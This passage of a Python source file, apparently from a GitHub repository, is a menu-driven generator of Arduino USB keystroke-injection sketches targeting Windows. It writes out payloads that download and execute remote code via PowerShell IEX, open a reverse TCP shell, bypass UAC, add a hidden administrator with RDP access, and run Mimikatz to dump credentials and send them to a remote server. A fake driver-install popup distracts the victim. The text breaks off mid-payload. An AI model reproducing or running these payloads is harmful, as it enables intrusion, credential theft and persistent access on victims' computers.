-
Notifications
You must be signed in to change notification settings - Fork 0
/
winCore.py
1512 lines (1300 loc) · 59.1 KB
/
winCore.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python
#uses HID-Project.h from https://github.com/NicoHood/HID, can be installed from Arduino Library Manager
import sys
import argparse
import os
import subprocess
import coreUtils
import nfoCore
def WinBanner():
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* *"
print "* Windows Payloads *"
print "* These Payloads are made mostly for Windows 7, 8.1 and 10, as most use Powershell *"
print "* *"
print "********************************************************************************************"
print "\n"
def WinMenu():
menu = {}
menu['1']="Download and Execute Binary for Windows"
menu['2']="Download and Execute Powershell for Windows"
menu['3']="Execute Custom Powershell script for Windows"
menu['4']="Reverse TCP CMD Powershell for Windows"
menu['5']="Add Administrator and Enable RDP for Windows"
menu['6']="Download and run Invoke-Mimikatz.ps1, Send output to Remote Server for Windows"
menu['7']="Change DNS Entry in Hostfile for Windows"
menu['8']="Download File and Place on Current User's Desktop for Windows"
menu['9']="Reverse TCP CMD prompt for Windows"
menu['10']="windows/meterpreter/reverse_https in Powershell for Windows"
menu['11']="Get username and computer name and send to a remote listener for Windows"
menu['42']="Return to main menu"
menu['99']="Exit"
while True:
WinBanner()
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]
selection=raw_input("\nPlease Select: ")
if selection =='1':
WinOption1()
elif selection == '2':
WinOption2()
elif selection == '3':
WinOption3()
elif selection == '4':
WinOption4()
elif selection == '5':
WinOption5()
elif selection == '6':
WinOption6()
elif selection == '7':
WinOption7()
elif selection == '8':
WinOption8()
elif selection == '9':
WinOption9()
elif selection == '10':
WinOption10()
elif selection == '11':
WinOption11()
elif selection == '42':
coreUtils.clearScreen()
break
elif selection == '99':
exit()
else:
print "\n\n***That is not a valid option!***\n\n"
def notificationBubble():
title = "Installing Drivers"
message = "Please do not remove the device"
while True:
answer = raw_input("Do you want to include a notifiction bubble as a distraction? Press Enter for default Yes (Y/n/?): ")
if answer in ('Y','y','yes','Yes','YES'):
while True:
print "\n"
print "Current notification bubble title is: " + title
print "Current notification bubble message is: " + message
print "\n"
customize = raw_input("Do you want to change the notification bubble text? (Y/n):")
if customize in ('Y','y','yes','Yes','YES',''):
print "\n"
title = raw_input("Please enter the Title of the notification bubble -> ")
message = raw_input("Please enter the Message of the notification bubble -> ")
elif customize in ('N','n','no','No','NO',''):
buffer = "void bubblePopup(){\n"
buffer += " Keyboard.println(\"wlrmdr.exe -s 60000 -f 1 -t \\\""+title+"\\\" -m \\\""+message+"\\\"\");\n"
buffer += " delay(100);\n"
buffer += " pressEnter();\n"
buffer += " delay(750);\n"
buffer += "}\n"
setting = 'Enabled'
return buffer, setting
break
elif answer in ('N','n','no','No','NO'):
buffer = "void bubblePopup(){\n"
buffer += "}\n"
setting = 'Disabled'
return buffer, setting
elif answer == '?':
nfoCore.bubbleInfo()
else:
print "\nThat is not a valid option, enabling the default option Notification Bubble"
buffer = "void bubblePopup(){\n"
buffer += " Keyboard.println(\"wlrmdr.exe -s 60000 -f 1 -t \\\"Installing Drivers\\\" -m \\\"Please do not remove the device\\\"\");\n"
buffer += " pressEnter();\n"
buffer += " delay(750);\n"
buffer += "}\n"
setting = 'Enabled'
return buffer, setting
def checkUACBypass():
while True:
bypassUACoption = raw_input("Please select a bypass UAC method:\n 1. No UAC Bypass\n 2. https://goo.gl/fPl4tm for bypass(no UAC popup)\n 3. run As (UAC popup visable)\n ?. For more information\n Press Enter for default (None): ")
if bypassUACoption == "":
bypassUACoption = "1"
bypassUAC = noBypass()
bypassType = "None"
return bypassType,bypassUAC
elif bypassUACoption == "1":
bypassUAC = noBypass()
bypassType = "None"
return bypassType,bypassUAC
elif bypassUACoption == "2":
bypassUAC = BypassUACExploit()
bypassType = "https://goo.gl/fPl4tm (no visible popup)"
return bypassType,bypassUAC
elif bypassUACoption == "3":
bypassUAC = BypassUACAdmin()
bypassType = "run As (visible popup)"
return bypassType,bypassUAC
elif bypassUACoption == '?':
nfoCore.UACBypassInfo()
else:
print "That is not a valid option, giving you the default option of None"
bypassUAC = noBypass()
bypassType = "None"
raw_input("\nPress Enter to return to the previous Menu...")
return bypassType,bypassUAC
def noUAVBypass():
buffer ="void bypassUAC(){\n"
buffer +=" \n"
buffer +="}\n"
def BypassUACExploit():
buffer = "void bypassUAC(){\n"
buffer +=" Keyboard.press(KEY_LEFT_GUI);\n"
buffer +=" Keyboard.press('r');\n"
buffer +=" delay(200);\n"
buffer += " Keyboard.release(KEY_LEFT_GUI);\n"
buffer += " Keyboard.release('r');\n"
buffer +=" Keyboard.println(\"cmd.exe /T:01 /K mode CON: COLS=15 LINES=1 && title Installing Drivers\");\n"
buffer +=" delay(1000);\n"
buffer +=" pressEnter();\n"
buffer +=" Keyboard.println(\"powershell -NoP -NonI -W Hidden -Exec Bypass \\\"IEX (New-Object System.Net.WebClient).DownloadString(\'https://goo.gl/fPl4tm\');Bypass-UAC -Method ucmDismMethod;\\\"\");\n"
buffer +=" pressEnter();\n"
buffer +=" delay(1750);\n"
buffer +="}\n"
return(buffer)
def noBypass():
buffer = "void bypassUAC(){\n"
buffer += " Keyboard.press(KEY_LEFT_GUI);\n"
buffer += " Keyboard.press('r');\n"
buffer += " delay(200);\n"
buffer += " Keyboard.release(KEY_LEFT_GUI);\n"
buffer += " Keyboard.release('r');\n"
buffer += " delay(100);\n"
buffer += " Keyboard.println(\"cmd.exe /T:01 /K mode CON: COLS=15 LINES=1 && title Installing Drivers\");\n"
buffer += " delay(100);\n"
buffer += " pressEnter();\n"
buffer += " delay(500);\n"
buffer += "}\n"
return(buffer)
def BypassUACAdmin():
buffer = "void bypassUAC(){\n"
buffer += " Keyboard.press(KEY_LEFT_GUI);\n"
buffer += " Keyboard.press('r');\n"
buffer += " delay(200);\n"
buffer += " Keyboard.release(KEY_LEFT_GUI);\n"
buffer += " Keyboard.release('r');\n"
buffer += " delay(100);\n"
buffer += " Keyboard.println(\"powershell Start-Process cmd.exe -Verb runAs\");\n"
buffer += " delay(100);\n"
buffer += " pressEnter();\n"
buffer += " delay(1000);\n"
buffer += "\n"
buffer += " Keyboard.press(KEY_LEFT_ALT);\n"
buffer += " delay(100);\n"
buffer += " Keyboard.println(\"Y\");\n"
buffer += " Keyboard.release(KEY_LEFT_ALT);\n"
buffer += " delay(500);\n"
buffer += "\n"
buffer += " Keyboard.println(\"cmd.exe /T:01 /K mode CON: COLS=15 LINES=1 && title Installing Drivers\");\n"
buffer += " delay(100);\n"
buffer += " pressEnter();\n"
buffer += " delay(200);\n"
buffer += "}\n"
return (buffer)
def WinWriteFile(fileName,payloadFunc,bypassUAC,payload, bubble):
buffer = "//This Arduino Sketch was generated with the OrbitUSB tool, located here: https://github.com/ChandraOrbit/OverOrbitUSB\n\n"
buffer += "#include <HID-Project.h>\n"
buffer += "void setup() {\n"
buffer += " Keyboard.begin();\n"
buffer += " hurryUp();\n"
buffer += " killCaps();\n"
buffer += " bypassUAC();\n"
buffer += " bubblePopup();\n"
buffer += " //THIS DELAY IS IMPORTANT, AND MAY NEED TO BE MODIFIED FOR YOUR TARGET\n"
buffer += " delay(1000);\n"
buffer += " " + payloadFunc
buffer += " Keyboard.end();\n"
buffer += "}\n"
buffer += "void pressEnter(){\n"
buffer += " Keyboard.press(KEY_RETURN);\n"
buffer += " delay(100);\n"
buffer += " Keyboard.release(KEY_RETURN);\n"
buffer += "}\n"
buffer += "void hurryUp(){\n"
buffer += " boolean areWeThereYet = capsCheck();\n"
buffer += " while (areWeThereYet == capsCheck()){\n"
buffer += " hitCaps();\n"
buffer += " }\n"
buffer += " hitCaps();\n"
buffer += "}\n"
buffer += "\n"
buffer += "boolean capsCheck(){\n"
buffer += " if (BootKeyboard.getLeds() & LED_CAPS_LOCK){\n"
buffer += " return true;\n"
buffer += " }\n"
buffer += " else{\n"
buffer += " return false;\n"
buffer += " }\n"
buffer += "}\n"
buffer += "\n"
buffer += "void hitCaps(){\n"
buffer += " Keyboard.press(KEY_CAPS_LOCK);\n"
buffer += " delay(100);\n"
buffer += " Keyboard.release(KEY_CAPS_LOCK);\n"
buffer += "}\n"
buffer += "\n"
buffer += "void killCaps(){\n"
buffer += " if (capsCheck())\n"
buffer += " {\n"
buffer += " hitCaps();\n"
buffer += " }\n"
buffer += "}\n"
buffer += "\n"
buffer += bypassUAC
buffer += bubble
buffer += payload
buffer += "void loop()\n"
buffer += "{\n"
buffer += "}\n"
fileName = coreUtils.checkINO(fileName)
file = open(fileName,'w')
file.write(buffer)
file.close()
print "\n\noutput written to " + fileName
raw_input("\nPress Enter to continue and return to Main Menu...")
coreUtils.clearScreen()
def WinOption1():
done = False
looper = False
URL=""
fileName=""
bypassUACoption=""
bubbleSetting=""
while looper != True:
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* Download and Execute Binary for Windows *"
print "* This payload will download a binary and execute it, then close the powershell prompt *"
print "* Options are: 1. The URL 2. The binary name 3. How to bypass UAC 4. The output File name *"
print "* *"
print "********************************************************************************************"
print "\n"
menu = {}
menu['0'] = "Info"
menu['1'] = "Set URL of the binary to download and execute"
menu['2'] = "Set bypassUAC mode"
menu['3'] = "Set Arduino sketch filename"
menu['4'] = "Set notification bubble option"
menu['5'] = "Write Arduino sketch"
menu['42']= "Return to previous menu"
menu['99']= "Exit"
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]
print "\n\n"
if URL != "":
print "URL of binary set to -> " + URL
if bypassUACoption != "":
print "bypassUAC technique set to -> " + bypassUACoption
if bubbleSetting != "":
print "Notification bubble set to -> " + bubbleSetting
if fileName != "":
print "Arduino filename set to -> " + fileName
selection=raw_input("\nPlease Select: ")
if selection =='1':
URL = raw_input("Please enter the full URL of the binary (please include \"http://\" or \"https://\"): ")
binary = coreUtils.getBinary(URL)
elif selection == '2':
bypassUACoption,bypassUAC = checkUACBypass()
elif selection == '3':
fileName = coreUtils.getFileName('dropBinary.ino')
elif selection == '4':
bubble, bubbleSetting = notificationBubble()
elif selection == '5':
if done == False:
print "\nYou have not set all the options"
raw_input("Press Enter to return to the menu and set all the options")
else:
looper = True
elif selection == '42':
coreUtils.clearScreen()
break
elif selection == '99':
exit()
elif selection == '0':
nfoCore.Win1info()
else:
print "\n\n***That is not a valid option!***\n\n"
if URL != "" and fileName != "" and bypassUACoption != "" and bubbleSetting != "":
done = True
if done == True and looper == True:
payload = "void downBinary(){\n"
if bypassUACoption != "https://goo.gl/fPl4tm (no visible popup)":
payload += " Keyboard.println(\"cd\\\\users\\\\%USERNAME%\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
if bypassUACoption == "https://goo.gl/fPl4tm (no visible popup)":
payload += " Keyboard.println(\"powershell -w hidden \\\"$source = '" +URL+ "\'; $destination = '" +binary+ "'; Invoke-WebRequest $source -OutFile $destination;start-process '" +binary+"';exit;\\\"\");\n"
else:
payload += " Keyboard.println(\"powershell -w hidden \\\"$source = '" +URL+ "\'; $destination = '" +binary+ "'; Invoke-WebRequest $source -OutFile $destination;start-process '" +binary+"';exit;\\\"\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
if bypassUACoption == "run As (visible popup)":
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
elif bypassUACoption == "None":
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
payload += "}\n"
payloadFunc = "downBinary();\n"
WinWriteFile(fileName,payloadFunc,bypassUAC,payload,bubble)
def WinOption2():
done = False
looper = False
URL=""
fileName=""
bypassUACoption=""
bubbleSetting=""
while looper != True:
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* Download and Execute Powershell for Windows *"
print "* This payload will download a powershell script then run it *"
print "* Options are: 1. The URL 2. The script name 3. How to bypass UAC 4. The output File name *"
print "* *"
print "********************************************************************************************"
print "\n"
menu = {}
menu['0'] = "Info"
menu['1'] = "Set URL of the powershell script to download and execute"
menu['2'] = "Set bypassUAC mode"
menu['3'] = "Set Arduino sketch filename"
menu['4'] = "Set notification bubble option"
menu['5'] = "Write Arduino sketch"
menu['42']= "Return to previous menu"
menu['99']= "Exit"
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]
print "\n\n"
if URL != "":
print "URL of Powershell script set to -> " + URL
if bypassUACoption != "":
print "bypassUAC technique set to -> " + bypassUACoption
if bubbleSetting != "":
print "Notification bubble set to -> " + bubbleSetting
if fileName != "":
print "Arduino filename set to -> " + fileName
selection=raw_input("\nPlease Select: ")
if selection =='1':
URL = raw_input("Please enter the full URL of the Powershell script (please include \"http://\" or \"https://\"): ")
scriptName = coreUtils.getBinary(URL)
elif selection == '2':
bypassUACoption,bypassUAC = checkUACBypass()
elif selection == '3':
fileName = coreUtils.getFileName('downPSH.ino')
elif selection == '4':
bubble, bubbleSetting = notificationBubble()
elif selection == '5':
if done == False:
print "\nYou have not set all the options"
raw_input("Press Enter to return to the menu and set all the options")
else:
looper = True
elif selection == '42':
coreUtils.clearScreen()
break
elif selection == '99':
exit()
elif selection == '0':
nfoCore.Win2info()
else:
print "\n\n***That is not a valid option!***\n\n"
if URL != "" and fileName != "" and bypassUACoption != "" and bubbleSetting != "":
done = True
if done == True and looper == True:
payload = "void downExecPSH(){\n"
payload += " Keyboard.println(\"powershell -w hidden \\\"IEX (New-Object Net.WebClient).DownloadString(\'" +URL+ "\');" + scriptName + ";exit;\\\"\");\n"
payload += " pressEnter();\n"
if bypassUACoption == "run As (visible popup)":
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
elif bypassUACoption == "None":
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
payload += "}\n"
payloadFunc = "downExecPSH();\n"
WinWriteFile(fileName,payloadFunc,bypassUAC,payload,bubble)
def WinOption3():
done = False
looper = False
powershell = ""
fileName=""
bypassUACoption=""
bubbleSetting=""
while looper != True:
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* Execute Custom Powershell script for Windows *"
print "* This payload will run custom powershell script *"
print "* Options are: 1. Powershell code 2. The output File name *"
print "* *"
print "********************************************************************************************"
print "\n"
menu = {}
menu['0'] = "Info"
menu['1'] = "Set powershell script to execute"
menu['2'] = "Set bypassUAC mode"
menu['3'] = "Set Arduino sketch filename"
menu['4'] = "Set notification bubble option"
menu['5'] = "Write Arduino sketch"
menu['6'] = "Display powershell script"
menu['42']= "Return to previous menu"
menu['99']= "Exit"
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]
print "\n\n"
if powershell != "":
print "powershell script is set"
if bypassUACoption != "":
print "bypassUAC technique set to -> " + bypassUACoption
if bubbleSetting != "":
print "Notification bubble set to -> " + bubbleSetting
if fileName != "":
print "Arduino filename set to -> " + fileName
selection=raw_input("\nPlease Select: ")
if selection =='1':
powershell = raw_input("\"powershell -nop -w hidden\" will automatically be added to the payload\nPlease add \"-enc\" at the beginning if your script is fully encoded\nPlease input your powershell script: ")
powershell = coreUtils.checkQuotes(powershell)
elif selection == '2':
bypassUACoption,bypassUAC = checkUACBypass()
elif selection == '3':
fileName = coreUtils.getFileName('powershell.ino')
elif selection == '4':
bubble, bubbleSetting = notificationBubble()
elif selection == '5':
if done == False:
print "\nYou have not set all the options"
raw_input("Press Enter to return to the menu and set all the options")
else:
looper = True
elif selection == '6':
if powershell == "":
print "you have not entered a powershell script yet"
raw_input("Please press enter to continue")
coreUtils.clearScreen()
else:
print "Powershell script set as -> " +powershell
raw_input("Please press enter to continue")
elif selection == '42':
coreUtils.clearScreen()
break
elif selection == '99':
exit()
elif selection == '0':
nfoCore.Win3info()
else:
print "\n\n***That is not a valid option!***\n\n"
if powershell != "" and fileName != "" and bypassUACoption != "" and bubbleSetting != "":
done = True
if done == True and looper == True:
payload = "void powershell(){\n"
payload += " Keyboard.println(\"powershell -nop -w hidden " + powershell + "\");\n"
payload += " pressEnter();\n"
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
payload += "}\n"
payloadFunc = "powershell();\n"
WinWriteFile(fileName, payloadFunc,bypassUAC,payload,bubble)
def WinOption4():
done = False
looper = False
remoteIP=""
remotePort = ""
fileName=""
bypassUACoption=""
bubbleSetting=""
while looper != True:
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* Reverse TCP CMD in Powershell for Windows *"
print "* This payload will create a Reverse TCP CMD Prompt via Powershell *"
print "* Options are: 1. The IP 2. The listening port 3. The output File name *"
print "* *"
print "********************************************************************************************"
print "\n"
menu = {}
menu['0'] = "Info"
menu['1'] = "Set the remote IP of the listening server"
menu['2'] = "Set the remote Port of the listening server"
menu['3'] = "Set bypassUAC mode"
menu['4'] = "Set Arduino sketch filename"
menu['5'] = "Set notification bubble option"
menu['6'] = "Write Arduino sketch"
menu['42']= "Return to previous menu"
menu['99']= "Exit"
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]
print "\n\n"
if remoteIP != "":
print "IP of the remote server is set to -> " + remoteIP
if remotePort != "":
print "The listening port of the remote server is -> " + remotePort
if bypassUACoption != "":
print "bypassUAC technique set to -> " + bypassUACoption
if bubbleSetting != "":
print "Notification bubble set to -> " + bubbleSetting
if fileName != "":
print "Arduino filename set to -> " + fileName
selection=raw_input("\nPlease Select: ")
if selection =='1':
remoteIP = raw_input("Please enter the IP of the remote server: ")
elif selection == '2':
remotePort = raw_input("Please enter the listening port of the remote server: ")
elif selection == '3':
bypassUACoption,bypassUAC = checkUACBypass()
elif selection == '4':
fileName = coreUtils.getFileName('reverseTCP.ino')
elif selection == '5':
bubble, bubbleSetting = notificationBubble()
elif selection == '6':
if done == False:
print "\nYou have not set all the options"
raw_input("Press Enter to return to the menu and set all the options")
else:
looper = True
elif selection == '42':
coreUtils.clearScreen()
break
elif selection == '99':
exit()
elif selection == '0':
nfoCore.Win4info()
else:
print "\n\n***That is not a valid option!***\n\n"
if remoteIP != "" and remotePort != "" and fileName != "" and bypassUACoption != "" and bubbleSetting != "":
done = True
if done == True and looper == True:
payload = "void reverseTCP(){\n"
if bypassUACoption == "https://goo.gl/fPl4tm (no visible popup)":
payload += " Keyboard.println(\"$client = New-Object System.Net.Sockets.TCPClient('" + remoteIP + "'," + remotePort + ");$stream = $client.GetStream();"
else:
payload += " Keyboard.println(\"powershell -w Hidden \\\"$client = New-Object System.Net.Sockets.TCPClient('" + remoteIP + "'," + remotePort + ");$stream = $client.GetStream();"
payload += "[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);"
payload += "$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);"
if bypassUACoption == "https://goo.gl/fPl4tm (no visible popup)":
payload += "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();\");\n"
else:
payload += "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();\\\"\");\n"
payload += " pressEnter();\n"
if bypassUACoption == "run As (visible popup)":
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
elif bypassUACoption == "None":
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
payload += "}\n"
payloadFunc = "reverseTCP();\n"
WinWriteFile(fileName,payloadFunc,bypassUAC, payload,bubble)
def WinOption5():
done = False
looper = False
userName=""
userPass=""
fileName=""
bypassUACoption=""
bubbleSetting=""
while looper != True:
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* Add Administrator and Enable RDP for Windows *"
print "* This payload will add a user, then add the user to the Administrator Group and RDP Group *"
print "* Options are: 1. UserName 2. Password 3. How to bypass UAC 4. The output File name *"
print "* *"
print "********************************************************************************************"
print "\n"
menu = {}
menu['0'] = "Info"
menu['1'] = "Set username to add"
menu['2'] = "Set username password"
menu['3'] = "Set bypassUAC mode"
menu['4'] = "Set Arduino sketch filename"
menu['5'] = "Set notification bubble option"
menu['6'] = "Write Arduino sketch"
menu['42']= "Return to previous menu"
menu['99']= "Exit"
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]
print "\n\n"
if userName != "":
print "username set to -> " + userName
if userPass != "":
print "user password set to -> " + userPass
if bypassUACoption != "":
print "bypassUAC technique set to -> " + bypassUACoption
if bubbleSetting != "":
print "Notification bubble set to -> " + bubbleSetting
if fileName != "":
print "Arduino filename set to -> " + fileName
selection=raw_input("\nPlease Select: ")
if selection =='1':
userName = raw_input("Please enter the username to add to the admin group: ")
elif selection == '2':
userPass = raw_input("Please enter the password for the new user: ")
elif selection == '3':
bypassUACoption,bypassUAC = checkUACBypass()
elif selection == '4':
fileName = coreUtils.getFileName('addAdmin.ino')
elif selection == '5':
bubble, bubbleSetting = notificationBubble()
elif selection == '6':
if done == False:
print "\nYou have not set all the options"
raw_input("Press Enter to return to the menu and set all the options")
else:
looper = True
elif selection == '42':
coreUtils.clearScreen()
break
elif selection == '99':
exit()
elif selection == '0':
nfoCore.Win5info()
else:
print "\n\n***That is not a valid option!***\n\n"
if userName != "" and userPass != "" and fileName != "" and bypassUACoption != "" and bubbleSetting != "":
done = True
if done == True and looper == True:
payload = "void addUser(){\n"
payload += " Keyboard.println(\"net user " + userName + " " + userPass + " /add \");\n"
payload += " pressEnter();\n"
payload += " delay(100);\n"
payload += " Keyboard.println(\"net localgroup administrators " + userName + " /add\");\n"
payload += " pressEnter();\n"
payload += " Keyboard.println(\"net localgroup \\\"remote desktop users\\\" " + userName + " /add\");\n"
payload += " pressEnter();\n"
if bypassUACoption == "run As (visible popup)":
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
else:
payload += " Keyboard.println(\"exit\");\n"
payload += " delay(100);\n"
payload += " pressEnter();\n"
payload += "}\n"
payloadFunc = "addUser();\n"
WinWriteFile(fileName,payloadFunc,bypassUAC,payload,bubble)
def WinOption6():
done = False
looper = False
mimiURL=""
remoteIP=""
remotePort=""
fileName=""
bypassUACoption=""
bubbleSetting=""
while looper != True:
coreUtils.clearScreen()
print "********************************************************************************************"
print "* *"
print "* Download & Run Invoke-Mimikatz.ps1 *"
print "* This payload will download & run Invoke-Mimikatz.ps1 then send output to remote server *"
print "* Options are: 1. The mimikatz URL 2. remote IP 3. Listening Port *"
print "* 4. How to bypass UAC 5. The output File name *"
print "* *"
print "********************************************************************************************"
print "\n"
menu = {}
menu['0'] = "Info"
menu['1'] = "Set the URL Invoke-Mimikatz.ps1 is located"
menu['2'] = "Set the IP of the remote server"
menu['3'] = "Set the listening port of the remote server"
menu['4'] = "Set bypassUAC mode"
menu['5'] = "Set Arduino sketch filename"
menu['6'] = "Set notification bubble option"
menu['7'] = "Write Arduino sketch"
menu['42']= "Return to previous menu"
menu['99']= "Exit"
options=menu.keys()
options.sort(key=int)
for entry in options:
print entry, menu[entry]
print "\n\n"
if mimiURL != "":
print "URL of Invoke-Mimikatz.ps1 set to -> " + mimiURL
if remoteIP != "":
print "The IP of the remote server is set to -> " + remoteIP
if remotePort != "":
print "The listening port of the remote server is set to -> " + remotePort
if bypassUACoption != "":
print "bypassUAC technique set to -> " + bypassUACoption
if bubbleSetting != "":
print "Notification bubble set to -> " + bubbleSetting
if fileName != "":
print "Arduino filename set to -> " + fileName
selection=raw_input("\nPlease Select: ")
if selection =='1':
mimiURL = raw_input("Please enter the full URL where Invoke-Mimikatz.ps1 is located (Please include \"http://\" or \"https://\")\nIf left blank, the default https://goo.gl/KBCGCr will be used: ")
if mimiURL == "":
mimiURL = 'https://goo.gl/KBCGCr'
elif selection == '2':
remoteIP = raw_input("Please enter the IP of the server to send the Mimikatz to: ")
elif selection == '3':
remotePort = raw_input("Please enter the port the server will be listening on: ")
elif selection == '4':
bypassUACoption,bypassUAC = checkUACBypass()
elif selection == '5':
fileName = coreUtils.getFileName('remoteMimiKatz.ino')
elif selection == '6':
bubble, bubbleSetting = notificationBubble()
elif selection == '7':
if done == False:
print "\nYou have not set all the options"
raw_input("Press Enter to return to the menu and set all the options")
else:
looper = True
elif selection == '42':
coreUtils.clearScreen()
break
elif selection == '99':
exit()
elif selection == '0':
nfoCore.Win6info()
else:
print "\n\n***That is not a valid option!***\n\n"
if mimiURL != "" and remoteIP != "" and remotePort != "" and fileName != "" and bypassUACoption != "" and bubbleSetting != "":
done = True
if done == True and looper == True:
payload = "void invokeMimiKatz(){\n"
if bypassUACoption == "https://goo.gl/fPl4tm (no visible popup)":
payload += " Keyboard.print(\"IEX (New-Object Net.WebClient).DownloadString(\'" + mimiURL + "\'); $port=" + remotePort +"; $remoteHost=\'"+ remoteIP
else:
payload += " Keyboard.print(\"powershell -w Hidden \\\"IEX (New-Object Net.WebClient).DownloadString(\'" + mimiURL + "\'); $port=" + remotePort +"; $remoteHost=\'"+ remoteIP
payload += "\'; $Message = Invoke-Mimikatz -DumpCreds; $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port); $data = [System.Text.Encoding]::ASCII.GetBytes($Message);"
if bypassUACoption == "https://goo.gl/fPl4tm (no visible popup)":
